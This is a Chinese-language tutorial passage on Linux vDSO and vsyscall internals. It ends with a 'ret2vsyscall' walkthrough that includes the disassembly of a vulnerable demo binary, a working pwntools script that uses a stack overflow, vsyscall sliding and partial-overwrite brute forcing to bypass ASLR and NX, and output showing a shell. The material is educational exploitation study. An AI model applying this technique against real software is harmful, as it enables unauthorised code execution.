|
值得注意的是,这里符号地址使用的均是负数,当get_unmapped_area分配出image和vvar的空间后,会使用text_start作为分割,addr到text_start是vvar的范围,text_start往上才是vdso的范围。
1 2 3 4 5 6 7 8 9 | static const struct vm_special_mapping vdso_mapping = { .name = "[vdso]", .fault = vdso_fault, .mremap = vdso_mremap,};static const struct vm_special_mapping vvar_mapping = { .name = "[vvar]", .fault = vvar_fault,}; |
这一点也可以在_install_special_mapping中获得验证,其中text_start对应着vdso_mapping,addr对应着vvar_mapping,_install_special_mapping函数会将分配好的内存空间信息vma填入内存管理结构体mm中,如果_install_special_mapping函数没有出错,那么就会继续往内存管理结构体mm填写vdso的信息。
此时内核就完成了加载程序的vdso和vvar的任务。
1.3 用户态程序的使用
VDSO和Vsyscall实现的系统调用并不多,目前支持的系统调用均列在了下方,它们是需要经常使用的系统调用。
1 2 3 4 5 6 7 8 9 10 11 12 | vdso:0x00007ffff7fc57b0 __vdso_gettimeofday0x00007ffff7fc5aa0 __vdso_time0x00007ffff7fc5ad0 __vdso_clock_gettime0x00007ffff7fc5e80 __vdso_clock_getres0x00007ffff7fc5ef0 __vdso_getcpu0x00007ffff7fc5f20 __vdso_sgx_enter_enclavevsysall:$__NR_gettimeofday$__NR_time$__NR_getcpu |
用户态程序对VDSO及VSyscall的使用,是在LD与GLibC的帮助下运行的,程序使用GlibC封装的函数时,LD会将它们解析到VDSO或VSyscall内。
1.4 补充 - 栈上的VDSO地址
LD程序的_start函数缸开始运行时,可以发现栈空间内已经有一部分空间被赋值了,其中最具有标志性的信息就是环境变量字符串了。显然这些信息是内核进行赋值的。
1 2 3 4 | x /gx 0x7fffffffe0f00x7fffffffe0f0: 0x00007ffff7fc50007ffff7fc5000-7ffff7fc7000 r-xp 00000000 00:00 0 [vdso] |
考虑到程序所需的信息是内核进行操作的,程序有使用它们的必要性,所以内核会将这些信息放入程序可以使用的栈空间内。内核压入栈空间内的数据通过create_elf_tables函数进行操作,数据分成下面的四种,第一种是程序的命令行参数数量,第二种是命令行参数,第三种是环境变量参数,第四种是辅助向量(包含程序需要的辅助信息)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | argc:if (put_user(argc, sp++)) return -EFAULT;argv:p = mm->arg_end = mm->arg_start;if (put_user((elf_addr_t)p, sp++)) return -EFAULT;env:mm->env_end = mm->env_start = p;if (put_user((elf_addr_t)p, sp++)) return -EFAULT;auxv:if (copy_to_user(sp, mm->saved_auxv, ei_index * sizeof(elf_addr_t))) return -EFAULT; |
辅助向量有非常多的种类,从AT_BASE一直到AT_UID,具体的向量及其含义可以通过man手册进行查看,Linux内核当中,向量数据通过NEW_AUX_ENT接口进行放置(首个参数为向量,第二个参数为数值)。在create_elf_tables函数中VDSO的起始地址是第一个压入的向量,在create_elf_tables函数的内部,它通过saved_auxv保存向量信息,向量id占据前八个字节,数值占据后八个字节,索引saved_auxv时,通过压入的顺序进行索引,比如VDSO的起始地址就对应着saved_auxv[1]。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | create_elf_tables: ...... elf_info = (elf_addr_t *)mm->saved_auxv;#define NEW_AUX_ENT(id, val) \ do { \ *elf_info++ = id; \ *elf_info++ = val; \ } while (0) ......#ifdef ARCH_DLINFO ARCH_DLINFO;#endif ......#define ARCH_DLINFO \do { \ if (vdso64_enabled) \ NEW_AUX_ENT(AT_SYSINFO_EHDR, \ (unsigned long __force)current->mm->context.vdso); \ NEW_AUX_ENT(AT_MINSIGSTKSZ, get_sigframe_size()); \} while (0) |
Linux下可以通过设置LD_SHOW_AUXV=1查看辅助向量的内容,这里借用的是LD的参数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | LD_SHOW_AUXV=1 idAT_SYSINFO_EHDR: 0x773d60ebb000AT_MINSIGSTKSZ: 1440AT_HWCAP: 178bfbffAT_PAGESZ: 4096AT_CLKTCK: 100AT_PHDR: 0x5f3d8b4ad040AT_PHENT: 56AT_PHNUM: 13AT_BASE: 0x773d60ebd000AT_FLAGS: 0x0AT_ENTRY: 0x5f3d8b4afa30AT_UID: 1000AT_EUID: 1000AT_GID: 1000AT_EGID: 1000AT_SECURE: 0AT_RANDOM: 0x7ffd13bb3289AT_HWCAP2: 0x2AT_EXECFN: /usr/bin/idAT_PLATFORM: x86_64AT_??? (0x1b): 0x1cAT_??? (0x1c): 0x20uid=1000(nora) gid=1000(nora) groups=1000(nora),3(sys),90(network),98(power),991(lp),998(wheel) |
2. 利用思路
VSyscall和VDSO都是内核映射到用户空间的,其中VSyscall使用的是固定地址,在任何情况下都是一样的,而VDSO则是程序每次运行时新分配地址,所以地址是会动态变化的。
VSyscall映射中虽然没有什么可以利用的空间,但是如果由于它固定的地址,以及含有ret指令的特性,我们可以不断利用它滑动到我们期望的位置,再进行利用。
2.1 废物 - VDSO
在这里我大胆下一个判断VDSO就是一个废物。
首先不管64位还是32位的VDSO,它们对于用户态程序都是不可感知的,想要了解动态链接库中的内容就只有两个选择,一是将内存转储出来,二是找到内核编译出来的动态链接库。
其次目前的VDSO内支持的功能少之又少,对于64位而言,想要构造ROP是相当困难的,相当于在沙漠里找水喝,并且VDSO与其他动态链接库相比,并没有很明显的优势,而且内核向栈上提交的信息也不止VDSO一个,为什么不利用其他的信息呢?
当然32位的VDSO中存在的函数会更多一些,利用的机会也会更大,但应该将它作为第一选择吗。
1 2 3 4 5 6 7 8 9 10 11 | objdump -d ./vdso32.so | grep ">:"00000570 <__kernel_vsyscall@@LINUX_2.5>:00000590 <__kernel_sigreturn@@LINUX_2.5>:000005a0 <__kernel_rt_sigreturn@@LINUX_2.5>:00000790 <__vdso_gettimeofday@@LINUX_2.6>:00000d00 <__vdso_time@@LINUX_2.6>:00000d50 <__vdso_clock_gettime@@LINUX_2.6>:00001390 <__vdso_clock_gettime64@@LINUX_2.6>:00001a30 <__vdso_clock_getres@@LINUX_2.6>:00001ac0 <__vdso_getcpu@@LINUX_2.6>:00001c1c <.altinstr_replacement>: |
3. 示例讲解
下面给出了示例代码的反汇编结果,程序会接收两次输入,然后通过user_check函数检查输入的信息,如果正确就会调用Shell,反之则不会。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 | 0000000000001179 <user_check>: 1179: 55 push %rbp 117a: 48 89 e5 mov %rsp,%rbp 117d: 48 83 ec 20 sub $0x20,%rsp 1181: 48 89 7d e8 mov %rdi,-0x18(%rbp) 1185: 48 89 75 e0 mov %rsi,-0x20(%rbp) 1189: 48 8b 45 e8 mov -0x18(%rbp),%rax 118d: be 00 10 00 00 mov $0x1000,%esi 1192: 48 89 c7 mov %rax,%rdi 1195: e8 c6 fe ff ff call 1060 <strnlen@plt> 119a: 48 89 c2 mov %rax,%rdx 119d: 48 8b 45 e8 mov -0x18(%rbp),%rax 11a1: 48 89 c6 mov %rax,%rsi 11a4: 48 8d 05 5d 0e 00 00 lea 0xe5d(%rip),%rax # 2008 <_IO_stdin_used+0x8> 11ab: 48 89 c7 mov %rax,%rdi 11ae: e8 7d fe ff ff call 1030 <strncmp@plt> 11b3: 89 45 fc mov %eax,-0x4(%rbp) 11b6: 48 8b 45 e0 mov -0x20(%rbp),%rax 11ba: be 00 10 00 00 mov $0x1000,%esi 11bf: 48 89 c7 mov %rax,%rdi 11c2: e8 99 fe ff ff call 1060 <strnlen@plt> 11c7: 48 89 c2 mov %rax,%rdx 11ca: 48 8b 45 e0 mov -0x20(%rbp),%rax 11ce: 48 89 c6 mov %rax,%rsi 11d1: 48 8d 05 35 0e 00 00 lea 0xe35(%rip),%rax # 200d <_IO_stdin_used+0xd> 11d8: 48 89 c7 mov %rax,%rdi 11db: e8 50 fe ff ff call 1030 <strncmp@plt> 11e0: 01 45 fc add %eax,-0x4(%rbp) 11e3: 8b 45 fc mov -0x4(%rbp),%eax 11e6: c9 leave 11e7: c3 ret00000000000011e8 <main>: 11e8: 55 push %rbp 11e9: 48 89 e5 mov %rsp,%rbp 11ec: 48 83 ec 50 sub $0x50,%rsp 11f0: 48 8d 05 1e 0e 00 00 lea 0xe1e(%rip),%rax # 2015 <_IO_stdin_used+0x15> 11f7: 48 89 c7 mov %rax,%rdi 11fa: e8 41 fe ff ff call 1040 <puts@plt> 11ff: 48 8d 45 d0 lea -0x30(%rbp),%rax 1203: ba 00 10 00 00 mov $0x1000,%edx 1208: 48 89 c6 mov %rax,%rsi 120b: bf 00 00 00 00 mov $0x0,%edi 1210: e8 5b fe ff ff call 1070 <read@plt> 1215: 48 8d 05 04 0e 00 00 lea 0xe04(%rip),%rax # 2020 <_IO_stdin_used+0x20> 121c: 48 89 c7 mov %rax,%rdi 121f: e8 1c fe ff ff call 1040 <puts@plt> 1224: 48 8d 45 b0 lea -0x50(%rbp),%rax 1228: ba 00 10 00 00 mov $0x1000,%edx 122d: 48 89 c6 mov %rax,%rsi 1230: bf 00 00 00 00 mov $0x0,%edi 1235: e8 36 fe ff ff call 1070 <read@plt> 123a: 48 8d 55 b0 lea -0x50(%rbp),%rdx 123e: 48 8d 45 d0 lea -0x30(%rbp),%rax 1242: 48 89 d6 mov %rdx,%rsi 1245: 48 89 c7 mov %rax,%rdi 1248: e8 2c ff ff ff call 1179 <user_check> 124d: 85 c0 test %eax,%eax 124f: 75 11 jne 1262 <main+0x7a> 1251: 48 8d 05 d2 0d 00 00 lea 0xdd2(%rip),%rax # 202a <_IO_stdin_used+0x2a> 1258: 48 89 c7 mov %rax,%rdi 125b: e8 f0 fd ff ff call 1050 <system@plt> 1260: eb 0f jmp 1271 <main+0x89> 1262: 48 8d 05 cf 0d 00 00 lea 0xdcf(%rip),%rax # 2038 <_IO_stdin_used+0x38> 1269: 48 89 c7 mov %rax,%rdi 126c: e8 cf fd ff ff call 1040 <puts@plt> 1271: b8 00 00 00 00 mov $0x0,%eax 1276: c9 leave 1277: c3 ret |
下面展示了程序及系统目前的保护措施,出来金丝雀之外的其他保护已经全部开启了,并且程序具有明显的栈溢出漏洞,固定地址的VSyscall刚好可以辅助我们完成栈溢出的利用。
1 2 3 4 5 6 7 | ALSR:开启Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: PIE enable |
3.1 VSyscall滑动
在main函数之前LD和LibC做了大量的工作,其中与main函数最为贴近的就是__libc_init_first函数,这个函数是__libc_start_main进行调用的。
1 2 3 4 | 25ebd: 48 8b 7d c8 mov -0x38(%rbp),%rdi25ec1: 48 89 da mov %rbx,%rdx25ec4: 44 89 e6 mov %r12d,%esi25ec7: e8 c4 fe ff ff call 25d90 <__libc_init_first@@GLIBC_2.2.5+0x10> |
__libc_init_first函数会对主程序的main函数进行调用,下面对其汇编代码进行了分析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 | 0000000000025d80 <__libc_init_first@@GLIBC_2.2.5>: 25d80: f3 0f 1e fa endbr64 25d84: c3 ret 25d85: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1) 25d8c: 00 00 00 25d8f: 90 nop 25d90: 55 push %rbp 25d91: 48 89 e5 mov %rsp,%rbp 25d94: 48 81 ec 90 00 00 00 sub $0x90,%rsp 设置栈空间,分配大小0x90 25d9b: 48 89 7d 88 mov %rdi,-0x78(%rbp) 25d9f: 89 75 84 mov %esi,-0x7c(%rbp) 25da2: 48 89 95 78 ff ff ff mov %rdx,-0x88(%rbp) 保存接收的三个参数到栈上 25da9: 64 48 8b 3c 25 28 00 mov %fs:0x28,%rdi 25db0: 00 00 25db2: 48 89 7d f8 mov %rdi,-0x8(%rbp) 保存金丝雀到rbp-0x8的位置,对栈空间进行保护 25db6: 48 8d 7d 90 lea -0x70(%rbp),%rdi 此时rbp-0x70中的地址保存的是程序段的入口地址 25dba: e8 91 70 01 00 call 3ce50 <_setjmp@@GLIBC_2.2.5> 25dbf: f3 0f 1e fa endbr64 25dc3: 85 c0 test %eax,%eax 25dc5: 75 48 jne 25e0f <__libc_init_first@@GLIBC_2.2.5+0x8f> 判断setjmp的返回值,如果是0就不跳转,反之则跳转 此时rbp-0x70中的地址保存的是命令行参数和环境变量信息,rbp-0x78中的地址保存的是main函数的起始地址 25dc7: 64 48 8b 04 25 00 03 mov %fs:0x300,%rax 25dce: 00 00 25dd0: 48 89 45 d8 mov %rax,-0x28(%rbp) 保存%fs:0x300到rbp-0x28的位置 25dd4: 64 48 8b 04 25 f8 02 mov %fs:0x2f8,%rax 25ddb: 00 00 25ddd: 48 89 45 e0 mov %rax,-0x20(%rbp) 保存%fs:0x2f8到rbp-0x28的位置 25de1: 48 8d 45 90 lea -0x70(%rbp),%rax 将保存命令行参数和环境变量的地址交给rax 25de5: 64 48 89 04 25 00 03 mov %rax,%fs:0x300 将保存命令行参数和环境变量的地址交给%fs:0x300 25dec: 00 00 25dee: 48 8b 05 9b 11 1c 00 mov 0x1c119b(%rip),%rax # 1e6f90 <__environ@@GLIBC_2.2.5-0x7de8> 将保存环境变量的地址交给rax 25df5: 48 8b b5 78 ff ff ff mov -0x88(%rbp),%rsi 25dfc: 8b 7d 84 mov -0x7c(%rbp),%edi 设置待传递的参数(argc,argv) 25dff: 48 8b 10 mov (%rax),%rdx 设置待传递的参数(envp) 25e02: 48 8b 45 88 mov -0x78(%rbp),%rax 将main函数的起始地址交给rax 25e06: ff d0 call *%rax 调用main函数 25e08: 89 c7 mov %eax,%edi 将返回值作为exit的函数的第一个参数 25e0a: e8 31 9b 01 00 call 3f940 <exit@@GLIBC_2.2.5> 退出 ...... |
显然rbp-0x78的位置保存着main函数的起始地址,它与main函数的rbp间隔了0x32的空间。如果我们利用VSyscall对这片区域进行填充,然后借助rbp-0x78中的高位地址,仅对第2个字节进行覆盖,就可以使得程序的控制流返回到system("/bin/sh")的位置。
system函数在程序中被调用的偏移值是0x1258,程序的基地址一定是按照页大小(0x1000)进行偏移的,所以高4个比特位不能确定,需要通过爆破的方式进行猜测,不过4个比特位对应着1/16的概率,已经相当高了。
1 2 3 4 5 | main:(gdb) x /6gx $rbp0x7fffffffde40: 0x00007fffffffdee0 0x00007ffff7dd0e080x7fffffffde50: 0x00007fffffffde90 0x00007fffffffdf680x7fffffffde60: 0x0000000155554040 0x00005555555551ea |
根据上面的分析得到下面的利用脚本。由于程序访问错误的地址会收到段错误信号SIGSEGV,因此这里可以通过recv进行接收,并通过except对收到的错误进行处理,这里选择的是继续循环执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | import osimport pwnimport structpwn.context.clear()pwn.context.update( arch = 'amd64', os = 'linux')target_info = { 'exec_path': './ret2vdso_example', 'addr_len': 0x8, 'bfvar2stack': 0x50, 'call_system_offset': 0x1251, 'vsyscall_base': 0xffffffffff600400, 'page_size': 0x1000,}def exploit_run(fix_size): global conn pwn.context.binary = pwn.ELF(target_info['exec_path']) conn = pwn.process([target_info['exec_path']]) payload = b'A' * target_info['bfvar2stack'] payload += b'B' * target_info['addr_len'] payload += pwn.p64(target_info['vsyscall_base']) * 0x4 offset = target_info['call_system_offset'] + fix_size print('[**] offset: {}'.format(hex(offset))) payload += struct.pack("<H", offset) conn.sendafter('user name:\n', b'fuck') conn.sendafter('password:\n', payload) ret = conn.recvline() print('[**] receive: {0}'.format(ret)) conn.recv(timeout = 5)if __name__ == '__main__': num = 0 while True: try: print('num of try {}'.format(num)) exploit_run(target_info['page_size'] * (num % 16)) conn.interactive() break except KeyboardInterrupt: print('stop by [ctrl + c]') break except: conn.close() num += 1 continue |
运行利用脚本后,就可以成功的获取Shell。通过VSyscall获得,我们成功绕过了除金丝雀外的NX、ASLR、PTE、FULL-Relro保护机制,并且在不进行信息泄露的情况下,完成了PWN,这是相当成功的。
1 2 3 4 5 6 7 8 9 10 11 12 | [*] Process './ret2vdso_example' stopped with exit code -11 (SIGSEGV) (pid 27535)num of try 4[+] Starting local process './ret2vdso_example': pid 27548offset: 0x5258[*] Switching to interactive mode$ iduid=1000(nora) gid=1000(nora) groups=1000(nora),3(sys),90(network),98(power),991(lp),998(wheel)$ exit[*] Got EOF while reading in interactive$ [*] Process './ret2vdso_example' stopped with exit code -7 (SIGBUS) (pid 27548)[*] Got EOF while sending in interactive |
3.2 补充 - 利用Vsyscall的局限性
值得注意的是,VSyscall的固定地址并不是一直可用的,比如下方展示了一段出现在内核消息dmesg中的内容,它显示程序访问地址ffffffffff600000时出现错误。
1 | [ 9153.062234] ret2vdso_example[14713] vsyscall fault (exploit attempt?) ip:ffffffffff600000 cs:33 sp:7fffffffdea0 ax:ffffffffffffffda si:7fffffffde40 di:555555556009 |
VSyscall已经渐渐退出Linux舞台,甚至在有些发行版本中直接将它去除掉了,即使没有去除,保留下来的VSyscall也只剩下零星几个的系统调用可以利用的空间实在是少的可怜(现在可能一共就9条汇编指令)。所谓麻绳专挑细处断,Linux内核在本就孱弱的可利用空间上由砍了一刀,做出了下方的check_fault检查。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | bool emulate_vsyscall(unsigned long error_code, struct pt_regs *regs, unsigned long address){ ...... switch (vsyscall_nr) { case 0: if (!write_ok_or_segv(regs->di, sizeof(struct __kernel_old_timeval)) || !write_ok_or_segv(regs->si, sizeof(struct timezone))) { ret = -EFAULT; goto check_fault; } } ...... ret = -EFAULT; switch (vsyscall_nr) { ...... }check_fault: if (ret == -EFAULT) { /* Bad news -- userspace fed a bad pointer to a vsyscall. */ warn_bad_vsyscall(KERN_INFO, regs, "vsyscall fault (exploit attempt?)"); goto sigsegv; } ......}static inlinevoid do_user_addr_fault(struct pt_regs *regs, unsigned long error_code, unsigned long address){ ...... if (is_vsyscall_vaddr(address)) { if (emulate_vsyscall(error_code, regs, address)) return; } ......} |
这个安全检查做的事情并不复杂,可以分成两个部分,首先检查的内容是系统调用的所需参数(根据调用协议的寄存器获取数据),检查的依据是用户态程序的最大地址0x7ffffffff000,检测到地址不是用户态的地址就会报错。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | static __always_inline unsigned long task_size_max(void){ unsigned long ret; alternative_io("movq %[small],%0","movq %[large],%0", X86_FEATURE_LA57, "=r" (ret), [small] "i" ((1ul << 47)-PAGE_SIZE), [large] "i" ((1ul << 56)-PAGE_SIZE)); return ret;}#define TASK_SIZE_MAX task_size_max()static inline int __access_ok(const void __user *ptr, unsigned long size){ unsigned long limit = TASK_SIZE_MAX; unsigned long addr = (unsigned long)ptr; if (IS_ENABLED(CONFIG_ALTERNATE_USER_ADDRESS_SPACE) || !IS_ENABLED(CONFIG_MMU)) return true; return (size <= limit) && (addr <= (limit - size));}#define __access_ok __access_okstatic bool write_ok_or_segv(unsigned long ptr, size_t size){ if (!access_ok((void __user *)ptr, size)) { struct thread_struct *thread = ¤t->thread; thread->error_code = X86_PF_USER | X86_PF_WRITE; thread->cr2 = ptr; thread->trap_nr = X86_TRAP_PF; force_sig_fault(SIGSEGV, SEGV_MAPERR, (void __user *)ptr); return false; } else { return true; }} |
第二部是系统调用执行是的put_user,该函数会讲输入放入指定的地址内,如果地址是不可写的就会出错。
1 2 3 4 5 6 7 8 9 10 11 12 | SYSCALL_DEFINE3(getcpu, unsigned __user *, cpup, unsigned __user *, nodep, struct getcpu_cache __user *, unused){ int err = 0; int cpu = raw_smp_processor_id(); if (cpup) err |= put_user(cpu, cpup); if (nodep) err |= put_user(cpu_to_node(cpu), nodep); return err ? -EFAULT : 0;} |
由于si的地址是0x555555556009,由于该地址所在内存页是不可写的,内核判断它可能会是恶意的利用,所以这里就直接设置段错误了,不让你继续往下运行。
在使用VSyscall进行滑动时,需要注意rdi、rsi的数值,避免内核检查时出错,如果确定rdi、rsi中数值有误,那么就无法使用VSyscall进行滑动。最好是通过VSyscall中的__NR_time进行滑动(偏移0x400),因为它只接收一个参数,所以只会对rdi进行检查,因此对__NR_time进行利用会更加轻松一些。